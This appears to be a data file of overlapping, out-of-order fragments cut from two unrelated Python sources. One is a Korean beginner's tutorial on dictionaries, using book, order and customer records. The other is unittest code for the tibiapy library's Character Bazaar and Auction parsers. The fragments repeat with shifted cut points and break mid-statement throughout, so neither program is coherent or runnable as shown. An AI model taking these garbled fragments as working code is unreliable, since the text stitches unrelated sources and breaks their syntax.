"<reponame>FatalWhite/Python3Lab<filename>Dictionary.py # 딕셔너리 : 매핑 자료구조 # 키key에 값value을 연결시키는 방식으로 데이터를 다루는",
"값 출력 print( bkname ) print( book.get( 'bookid' ) ) book[ 'bookid' ]",
"# 새로운 키: 값 추가 print( book ) print( book ) book.update( {",
"자료형으로 사용 book = { 'bookid': '1', 'bookname': '축구의역사', 'publisher': '굿스포츠', 'price': '7000'",
"키 검색시 None 출력 bkname = book[ 'bookname' ] # 키로 검색후 값",
"book ) # 딕셔너리에서 in 연산자는 key를 검색 print('bookid' in book) print( book[",
"] = 99 # 키로 값 수정 print( book.get( 'bookid' ) ) print(",
"새로운 키: 값 추가 print( book ) print( book ) book.update( { '판형':",
"'판형': '6 x 10' } ) # 새로운 키: 값 수정 print( book",
"book.get( 'orderid' ) ) # 존재하지 않는 키 검색시 None 출력 bkname =",
"딕셔너리에서 in 연산자는 key를 검색 print('bookid' in book) print( book[ 'bookid' ] )",
"딕셔너리 : 매핑 자료구조 # 키key에 값value을 연결시키는 방식으로 데이터를 다루는 방법 제공",
"{ '판형': '3 x 4' } ) # 새로운 키: 값 추가 print(",
"book[ 'price' ] ) # print( book[ 'orderid' ] ) # 존재하지 않는",
"값value을 연결시키는 방식으로 데이터를 다루는 방법 제공 # 키는 저장된 데이터를 식별하기 위한",
"로 구분 menu = { '1': 'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk' } #",
"# 키:값이 여러개 존재할 경우, 로 구분 menu = { '1': 'newSungJuk', '2':",
"order = { 'orderid': '1', 'custid': '1', 'bookid': '1', 'saleprice': 6000, 'orderdate': '2014-07-01'",
"생성한 딕셔너리를 배열에 저장 books_list.append( book ) books_list.append( book ) print( books_list )",
"키: 값 추가 print( book ) print( book ) book.update( { '판형': '6",
"book ) book.update( { '판형': '6 x 10' } ) # 새로운 키:",
"식별하기 위한 번호나 이름 # 값은 각 키에 연결되어 저장된 테이터 # 따라서",
"book[ 'bookid' ] ) # 딕셔너리에서 키로 검색 print( book[ 'bookname' ] )",
") book.update( { '판형': '6 x 10' } ) # 새로운 키: 값",
"'price' ] ) # print( book[ 'orderid' ] ) # 존재하지 않는 키",
"처리 메서드 print( '1' in book ) # 딕셔너리에서 in 연산자는 key를 검색",
"{ 'custid': '1', 'name': '박지성', 'address': '영국 멘체스타', 'phone': '000-5000-0001' } print(book) books_list",
"print( bkname ) print( book.get( 'bookid' ) ) book[ 'bookid' ] = 99",
"print( book.keys() ) # 모든 키를 출력 print( book.values() ) # 모든 값을",
"키:값 형태로 이용 # 키:값이 여러개 존재할 경우, 로 구분 menu = {",
") print( books_list ) # 딕셔너리 처리 메서드 print( '1' in book )",
") print( book[ 'price' ] ) # print( book[ 'orderid' ] ) #",
"저장된 테이터 # 따라서 키만 알면 데이터를 바로 찾을 수 있음 # 딕셔너리는",
"오류! print( book.get( 'bookname' ) ) print( book.get( 'orderid' ) ) # 존재하지",
"존재하지 않는 키 검색시 None 출력 bkname = book[ 'bookname' ] # 키로",
"찾을 수 있음 # 딕셔너리는 {} 에 키:값 형태로 이용 # 키:값이 여러개",
"'orderdate': '2014-07-01' } custromer = { 'custid': '1', 'name': '박지성', 'address': '영국 멘체스타',",
"book.get( 'bookid' ) ) book[ 'bookid' ] = 99 # 키로 값 수정",
"'bookname' ) ) print( book.get( 'orderid' ) ) # 존재하지 않는 키 검색시",
"book.get( 'bookid' ) ) print( book ) book.update( { '판형': '3 x 4'",
"{ '1': 'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk' } # 키는 다양한 자료형으로 사용",
"수정 print( book ) del book[ '판형' ] # 기존 키 삭제 print(",
"딕셔너리를 배열에 저장 books_list.append( book ) books_list.append( book ) print( books_list ) #",
") print( book ) book.update( { '판형': '6 x 10' } ) #",
"키 검색시 오류! print( book.get( 'bookname' ) ) print( book.get( 'orderid' ) )",
"'orderid': '1', 'custid': '1', 'bookid': '1', 'saleprice': 6000, 'orderdate': '2014-07-01' } custromer =",
"'bookid' ] = 99 # 키로 값 수정 print( book.get( 'bookid' ) )",
") # 새로운 키: 값 추가 print( book ) print( book ) book.update(",
") # book.clear() # 모든 키 삭제 print( book.keys() ) # 모든 키를",
") # 존재하지 않는 키 검색시 None 출력 bkname = book[ 'bookname' ]",
"in book ) # 딕셔너리에서 in 연산자는 key를 검색 print('bookid' in book) print(",
"bkname ) print( book.get( 'bookid' ) ) book[ 'bookid' ] = 99 #",
"수 있음 # 딕셔너리는 {} 에 키:값 형태로 이용 # 키:값이 여러개 존재할",
"방법 제공 # 키는 저장된 데이터를 식별하기 위한 번호나 이름 # 값은 각",
"키로 검색후 값 출력 print( bkname ) print( book.get( 'bookid' ) ) book[",
") book.update( { '판형': '3 x 4' } ) # 새로운 키: 값",
"book) print( book[ 'bookid' ] ) # 딕셔너리에서 키로 검색 print( book[ 'bookname'",
"menu = { '1': 'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk' } # 키는 다양한",
"'price': '7000' } order = { 'orderid': '1', 'custid': '1', 'bookid': '1', 'saleprice':",
"print( book[ 'bookid' ] ) # 딕셔너리에서 키로 검색 print( book[ 'bookname' ]",
"모든 키:값을 튜플로 출력 items = book.items() # 모든 키:값을 튜플-리스트로 출력 print(",
") # 모든 키:값을 튜플로 출력 items = book.items() # 모든 키:값을 튜플-리스트로",
"None 출력 bkname = book[ 'bookname' ] # 키로 검색후 값 출력 print(",
"'1', 'bookid': '1', 'saleprice': 6000, 'orderdate': '2014-07-01' } custromer = { 'custid': '1',",
"구분 menu = { '1': 'newSungJuk', '2': 'showSungJuk', '3': 'modifySungJuk' } # 키는",
"연산자는 key를 검색 print('bookid' in book) print( book[ 'bookid' ] ) # 딕셔너리에서",
"존재하지 않는 키 검색시 오류! print( book.get( 'bookname' ) ) print( book.get( 'orderid'",
"'7000' } order = { 'orderid': '1', 'custid': '1', 'bookid': '1', 'saleprice': 6000,",
"{ 'orderid': '1', 'custid': '1', 'bookid': '1', 'saleprice': 6000, 'orderdate': '2014-07-01' } custromer",
"검색 print('bookid' in book) print( book[ 'bookid' ] ) # 딕셔너리에서 키로 검색",
"'1', 'name': '박지성', 'address': '영국 멘체스타', 'phone': '000-5000-0001' } print(book) books_list = []",
"키를 출력 print( book.values() ) # 모든 값을 출력 print( book.items() ) #",
"[] books_list.append( book ) # 생성한 딕셔너리를 배열에 저장 books_list.append( book ) books_list.append(",
"'bookid' ) ) book[ 'bookid' ] = 99 # 키로 값 수정 print(",
"'address': '영국 멘체스타', 'phone': '000-5000-0001' } print(book) books_list = [] books_list.append( book )",
"print( book[ 'bookname' ] ) print( book[ 'price' ] ) # print( book[",
"출력 items = book.items() # 모든 키:값을 튜플-리스트로 출력 print( list( items )",
") # 딕셔너리에서 in 연산자는 key를 검색 print('bookid' in book) print( book[ 'bookid'",
"이름 # 값은 각 키에 연결되어 저장된 테이터 # 따라서 키만 알면 데이터를",
"print( book.values() ) # 모든 값을 출력 print( book.items() ) # 모든 키:값을",
"연결되어 저장된 테이터 # 따라서 키만 알면 데이터를 바로 찾을 수 있음 #"
] |
[
"self.assertIsNotNone(auction.items) self.assertEqual(76, len(auction.items.entries)) self.assertEqual(8, auction.items.total_pages) self.assertEqual(567, auction.items.results) self.assertEqual(141, auction.items.get_by_name(\"cigar\").item_id) self.assertEqual(\"cigar\", auction.items.get_by_id(141).name) self.assertEqual(7, len(auction.items.search('backpack')))",
"self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000,",
"self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0] self.assertEqual(1, first_item.count) self.assertEqual(25700,",
"pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id)",
"self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries)",
"auction.store_outfits.get_by_id(962).name) self.assertEqual(2, len(auction.store_outfits.search('retro'))) self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing',",
"\"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def",
"self.assertEqual(1, auction.mounts.total_pages) self.assertEqual(22, auction.mounts.results) self.assertEqual(387, auction.mounts.get_by_name(\"donkey\").mount_id) self.assertEqual(\"Donkey\", auction.mounts.get_by_id(387).name) self.assertEqual(1, len(auction.mounts.search('drag'))) self.assertIsNotNone(auction.store_mounts) self.assertEqual(1, len(auction.store_mounts.entries))",
"= \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND =",
"self.assertEqual(\"Vireloz\", auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\",",
"\"bazaar/tibiacom_auction_not_found.txt\" class TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482,",
"auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level)",
"auction.name) self.assertIn(auction.name, auction.character_url) self.assertIn(str(auction.auction_id), auction.url) self.assertEqual(1161, auction.level) self.assertEqual(Vocation.ROYAL_PALADIN, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world)",
"\\ InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT",
"self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23,",
"TestBazaar(TestCommons, unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031,",
"self.assertEqual(1, bazaar.filters.min_skill_level) self.assertEqual(50, bazaar.filters.max_skill_level) self.assertEqual(AuctionOrderBy.SHIELDING, bazaar.filters.order_by) self.assertEqual(AuctionOrder.HIGHEST_LATEST, bazaar.filters.order) self.assertEqual(AuctionSearchType.ITEM_WILDCARD, bazaar.filters.search_type) def test_character_bazaar_from_content_empty(self): bazaar",
"self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name)",
"test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries))",
"auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name) self.assertEqual(2, len(auction.store_items.search('rune'))) self.assertIsNotNone(auction.mounts) self.assertEqual(22, len(auction.mounts.entries)) self.assertEqual(1,",
"auction.store_mounts.total_pages) self.assertEqual(1, auction.store_mounts.results) self.assertEqual(906, auction.store_mounts.get_by_name(\"Wolpertinger\").mount_id) self.assertEqual(\"Wolpertinger\", auction.store_mounts.get_by_id(906).name) self.assertEqual(1, len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2,",
"auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143,",
"self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270,",
"len(auction.store_mounts.search('Wolpertinger'))) self.assertIsNotNone(auction.outfits) self.assertEqual(30, len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name)",
"self.assertIsNotNone(auction.familiars) self.assertEqual(1, len(auction.familiars.entries)) self.assertEqual(1, auction.familiars.total_pages) self.assertEqual(1, auction.familiars.results) self.assertEqual(992, auction.familiars.get_by_name(\"emberwing\").familiar_id) self.assertEqual('Emberwing', auction.familiars.get_by_id(992).name) self.assertEqual(1, len(auction.familiars.search('ember')))",
"self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237, auction.auction_id) self.assertEqual(800,",
"auction.bid) self.assertEqual(\"Rcrazy Illuminati\", auction.name) self.assertEqual(255, auction.level) self.assertEqual(\"Celebra\", auction.world) self.assertEqual(Vocation.MASTER_SORCERER, auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING,",
"auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385,",
"\"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\"",
"self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points)",
"CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_EMPTY)) self.assertIsNotNone(bazaar) self.assertFalse(bazaar.entries) def test_character_bazaar_from_content_history(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_HISTORY)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(1449, bazaar.total_pages)",
"import datetime import unittest from tests.tests_tibiapy import TestCommons from tibiapy import Auction, AuctionOrder,",
"auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points) self.assertIsNone(auction.regular_world_transfer_available_date) self.assertEqual(110, auction.available_charm_points) self.assertEqual(5800, auction.spent_charm_points) self.assertEqual(2, auction.daily_reward_streak) self.assertEqual(1494,",
"auction.hit_points) self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count)",
"auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair",
"self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id) self.assertEqual('Retro",
"bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1, bazaar.filters.min_level) self.assertEqual(1000, bazaar.filters.max_level) self.assertEqual(SkillFilter.MAGIC_LEVEL, bazaar.filters.skill) self.assertEqual(1, bazaar.filters.min_skill_level)",
"len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\",",
"test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content)",
"BidType, \\ CharacterBazaar, \\ InvalidContent, PvpTypeFilter, \\ Sex, SkillFilter, \\ Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY",
"self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS))",
"unittest.TestCase): def test_character_bazaar_from_content_current_no_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT)) self.assertIsNotNone(bazaar) self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count)",
"self.assertEqual(800, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level)",
"len(auction.items.search('backpack'))) self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\",",
"self.assertEqual(9, len(auction.blessings)) self.assertEqual(18, len(auction.imbuements)) self.assertEqual(8, len(auction.charms)) self.assertEqual(0, len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509,",
"len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing box",
"self.assertEqual(17385, auction.mana) self.assertEqual(23530, auction.capacity) self.assertEqual(1270, auction.speed) self.assertEqual(0, auction.blessings_count) self.assertEqual(23, auction.mounts_count) self.assertEqual(35, auction.outfits_count) self.assertEqual(16,",
"unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with self.assertRaises(InvalidContent): CharacterBazaar.from_content(content) def test_auction_details_from_content_finished(self): auction =",
"Vocation, VocationAuctionFilter FILE_BAZAAR_CURRENT_EMPTY = \"bazaar/tibiacom_history_empty.txt\" FILE_BAZAAR_CURRENT = \"bazaar/tibiacom_current.txt\" FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY =",
"first_item.name) self.assertIsNotNone(first_item.image_url) self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content =",
"self.assertIsNotNone(auction.store_items) self.assertEqual(16, len(auction.store_items.entries)) self.assertEqual(1, auction.store_items.total_pages) self.assertEqual(16, auction.store_items.results) self.assertEqual(23721, auction.store_items.get_by_name(\"gold pouch\").item_id) self.assertEqual(\"gold pouch\", auction.store_items.get_by_id(23721).name)",
"auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content",
"auction.skills_map[\"Distance Fighting\"].level) self.assertEqual(11.43, auction.skills_map[\"Distance Fighting\"].progress) self.assertIsInstance(auction.creation_date, datetime.datetime) self.assertEqual(26006721711, auction.experience) self.assertEqual(41893, auction.gold) self.assertEqual(553, auction.achievement_points)",
"len(auction.completed_cyclopedia_map_areas)) self.assertEqual(16, len(auction.titles)) self.assertEqual(217, len(auction.achievements)) self.assertEqual(509, len(auction.bestiary_progress)) self.assertEqual(205, len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction =",
"len(auction.completed_bestiary_entries)) def test_auction_details_from_content_finished_skip_details(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_FINISHED), skip_details=True) self.assertIsNotNone(auction) # Listing box self.assertEqual(\"Vireloz\", auction.name)",
"self.assertEqual(300, bazaar.page) self.assertEqual(482, bazaar.total_pages) self.assertEqual(12031, bazaar.results_count) self.assertEqual(25, len(bazaar.entries)) self.assertIsNotNone(bazaar.url) auction = bazaar.entries[0] self.assertEqual(30237,",
"self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon",
"auction.sex) self.assertEqual(\"Wintera\", auction.world) self.assertIsNotNone(auction.outfit) self.assertEqual(1322, auction.outfit.outfit_id) self.assertEqual(4, len(auction.displayed_items)) self.assertEqual(\"gnome armor\", auction.displayed_items[0].name) self.assertEqual(\"falcon coif\",",
"self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertIsNotNone(bazaar.filters) self.assertEqual('Antica', bazaar.filters.world) self.assertEqual(PvpTypeFilter.OPEN_PVP, bazaar.filters.pvp_type) self.assertEqual(BattlEyeTypeFilter.PROTECTED, bazaar.filters.battleye) self.assertEqual(VocationAuctionFilter.KNIGHT, bazaar.filters.vocation) self.assertEqual(1,",
"auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results) self.assertEqual(962, auction.store_outfits.get_by_name(\"retro warrior\").outfit_id)",
"auction.vocation) self.assertEqual(Sex.MALE, auction.sex) self.assertEqual(BidType.WINNING, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(1, len(auction.displayed_items)) self.assertEqual(143, auction.outfit.outfit_id) first_item = auction.displayed_items[0]",
"self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def test_auction_details_from_content_unrelated(self): \"\"\"Testing",
"self.assertIsNone(bazaar.filters) def test_character_bazaar_from_content_unrelated(self): \"\"\"Testing parsing an unrelated tibia.com section\"\"\" content = self.load_resource(self.FILE_UNRELATED_SECTION) with",
"len(auction.outfits.entries)) self.assertEqual(2, auction.outfits.total_pages) self.assertEqual(33, auction.outfits.results) self.assertEqual(151, auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits)",
"self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertIsNotNone(auction.character_url) self.assertEqual(0, len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill)",
"self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order) def test_character_bazaar_from_content_current_all_filters_selected(self): bazaar = CharacterBazaar.from_content(self.load_resource(FILE_BAZAAR_CURRENT_ALL_FILTERS)) self.assertIsNotNone(bazaar) self.assertEqual(1, bazaar.page) self.assertEqual(4,",
"auction.outfits.get_by_name(\"pirate\").outfit_id) self.assertEqual('Glooth Engineer', auction.outfits.get_by_id(610).name) self.assertEqual(2, len(auction.outfits.search('demon'))) self.assertIsNotNone(auction.store_outfits) self.assertEqual(2, len(auction.store_outfits.entries)) self.assertEqual(1, auction.store_outfits.total_pages) self.assertEqual(2, auction.store_outfits.results)",
"len(auction.displayed_items)) self.assertIsNotNone(bazaar.filters) self.assertIsNone(bazaar.filters.world) self.assertIsNone(bazaar.filters.pvp_type) self.assertIsNone(bazaar.filters.battleye) self.assertIsNone(bazaar.filters.vocation) self.assertIsNone(bazaar.filters.min_level) self.assertIsNone(bazaar.filters.max_level) self.assertIsNone(bazaar.filters.skill) self.assertIsNone(bazaar.filters.min_skill_level) self.assertIsNone(bazaar.filters.max_skill_level) self.assertEqual(AuctionOrder.LOWEST_EARLIEST, bazaar.filters.order)",
"FILE_BAZAAR_CURRENT_ALL_FILTERS = \"bazaar/tibiacom_current_all_filters.txt\" FILE_BAZAAR_HISTORY = \"bazaar/tibiacom_history.txt\" FILE_AUCTION_FINISHED = \"bazaar/tibiacom_auction_finished.txt\" FILE_AUCTION_NOT_FOUND = \"bazaar/tibiacom_auction_not_found.txt\" class",
"self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) self.assertEqual(11715, auction.hit_points) self.assertEqual(17385, auction.mana)",
"coif\", auction.displayed_items[1].name) self.assertEqual(\"pair of soulstalkers\", auction.displayed_items[2].name) self.assertEqual(\"lion spangenhelm\", auction.displayed_items[3].name) self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type)",
"from tests.tests_tibiapy import TestCommons from tibiapy import Auction, AuctionOrder, AuctionOrderBy, AuctionSearchType, AuctionStatus, BattlEyeTypeFilter,",
"self.assertEqual(330000, auction.bid) self.assertEqual(BidType.MINIMUM, auction.bid_type) self.assertEqual(AuctionStatus.FINISHED, auction.status) def test_auction_details_from_content_not_found(self): auction = Auction.from_content(self.load_resource(FILE_AUCTION_NOT_FOUND)) self.assertIsNone(auction) def",
